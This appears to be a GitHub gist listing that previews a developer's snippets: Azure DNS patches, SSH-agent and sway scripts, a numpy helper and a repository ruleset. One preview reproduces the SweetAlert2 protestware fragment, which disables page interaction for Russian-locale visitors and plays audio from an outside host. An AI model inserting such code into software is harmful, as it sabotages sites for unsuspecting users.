This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| From d40139f566baac932b275167eb5b6ae4ac3cc64c Mon Sep 17 00:00:00 2001 | |
| From: Yegor Timoshenko <[email protected]> | |
| Date: Fri, 13 Mar 2020 00:54:03 +0300 | |
| Subject: [PATCH] azure: pass AZURE_CLIENT_SECRET_FILE to autorest.Authorizer | |
| --- | |
| providers/dns/azure/azure.go | 1 + | |
| 1 file changed, 1 insertion(+) | |
| diff --git a/providers/dns/azure/azure.go b/providers/dns/azure/azure.go |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| From cdc8f0e42aa892c4a2c60e0acea344afbaffabde Mon Sep 17 00:00:00 2001 | |
| From: Yegor Timoshenko <[email protected]> | |
| Date: Fri, 13 Mar 2020 00:54:03 +0300 | |
| Subject: [PATCH] azure: pass missing Azure config fields to | |
| autorest.Authorizer | |
| --- | |
| providers/dns/azure/azure.go | 3 +++ | |
| 1 file changed, 3 insertions(+) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # SPDX-License-Identifier: 0BSD | |
| from base64 import b64encode | |
| from hashlib import blake2b | |
| from paramiko.agent import Agent | |
| from paramiko.message import Message | |
| from sys import stdin | |
| import click | |
| @click.group() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import itertools | |
| import logging | |
| import os | |
| import requests | |
| logging.basicConfig(level=logging.DEBUG) | |
| session = requests.Session() | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -euo pipefail | |
| cpid=$(swaymsg --type=get_tree | jq '.. | select(.focused?).pid') | |
| ppid=$(pgrep --newest --parent="$cpid") | |
| readlink /proc/"$ppid"/cwd || echo "$HOME" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| import asyncio | |
| import i3ipc.aio as swayipc | |
| async def main(): | |
| sway = await swayipc.Connection().connect() | |
| tree = await sway.get_tree() | |
| focused_workspace = tree.find_focused().workspace() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # SPDX-License-Identifier: 0BSD | |
| from functools import partial | |
| from itertools import chain, starmap, zip_longest | |
| import numpy | |
| def ascent(x): | |
| return [(x, 0), (1 - x, -1), (1, -1)] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) { | |
| var pi = new Date, | |
| mi = localStorage.getItem("swal-initiation"); | |
| // If three hours have passed since SweetAlert2 has first seen the origin... | |
| // https://developer.mozilla.org/docs/Glossary/Origin | |
| mi ? (pi.getTime() - Date.parse(mi)) / 864e5 > 3 && setTimeout((function() { | |
| document.body.style.pointerEvents = "none"; | |
| var e = document.createElement("audio"); | |
| e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "id": 502160, | |
| "name": "permatag", | |
| "target": "tag", | |
| "source_type": "Repository", | |
| "source": "lukateras/lukateras", | |
| "enforcement": "active", | |
| "conditions": { | |
| "ref_name": { | |
| "exclude": [], |